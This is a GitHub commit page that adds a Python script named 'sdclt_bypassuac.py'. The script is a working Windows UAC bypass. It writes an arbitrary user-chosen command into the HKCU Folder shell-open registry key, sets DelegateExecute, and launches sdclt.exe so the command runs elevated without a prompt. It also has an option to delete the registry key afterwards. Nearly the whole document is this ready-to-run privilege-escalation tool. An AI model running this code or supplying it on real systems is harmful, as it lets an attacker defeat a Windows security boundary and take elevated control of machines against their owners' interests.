Skip to content

Commit 85242e1

Browse files
authored
Add files via upload
1 parent cac59d0 commit 85242e1

1 file changed

Lines changed: 34 additions & 0 deletions

File tree

UAC旁路/sdclt_bypassuac.py

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
#source:http://www.ggsec.cn/sdclt-bypassuac.html
2+
#time:2019/1/24
3+
#author:九世
4+
5+
import os
6+
7+
class Sdclt:
8+
def __init__(self,payload,delete):
9+
self.payload=payload
10+
self.dele=delete
11+
12+
def deles(self):
13+
print('[h] dele Delete the legacy registry first:{}'.format(self.dele))
14+
os.system(self.dele)
15+
def systemsadd(self):
16+
zhixingcommand='%windir%\system32\sdclt.exe'
17+
print('[h] add payload in reg')
18+
os.system(self.payload)
19+
os.system(zhixingcommand)
20+
if __name__ == '__main__':
21+
print('[h] Seting payload system command')
22+
user=input('Please command:')
23+
payload='reg add "HKCU\\Software\\Classes\\Folder\\shell\\open\\command" /d "{}" /f && reg add HKCU\\Software\\Classes\\Folder\\shell\\open\\command /v "DelegateExecute" /f'.format(user)
24+
obj=Sdclt(payload=payload,delete='reg delete "HKCU\Software\Classes\Folder\shell\open\command" /f')
25+
print('[1] dele Reg')
26+
print('[2] add Reg')
27+
xwen=input('->')
28+
if xwen=='1':
29+
obj.deles()
30+
elif xwen=='2':
31+
print('[h] payload:',payload)
32+
obj.systemsadd()
33+
else:
34+
exit('[q] Not Found... ')

0 commit comments

Comments
 (0)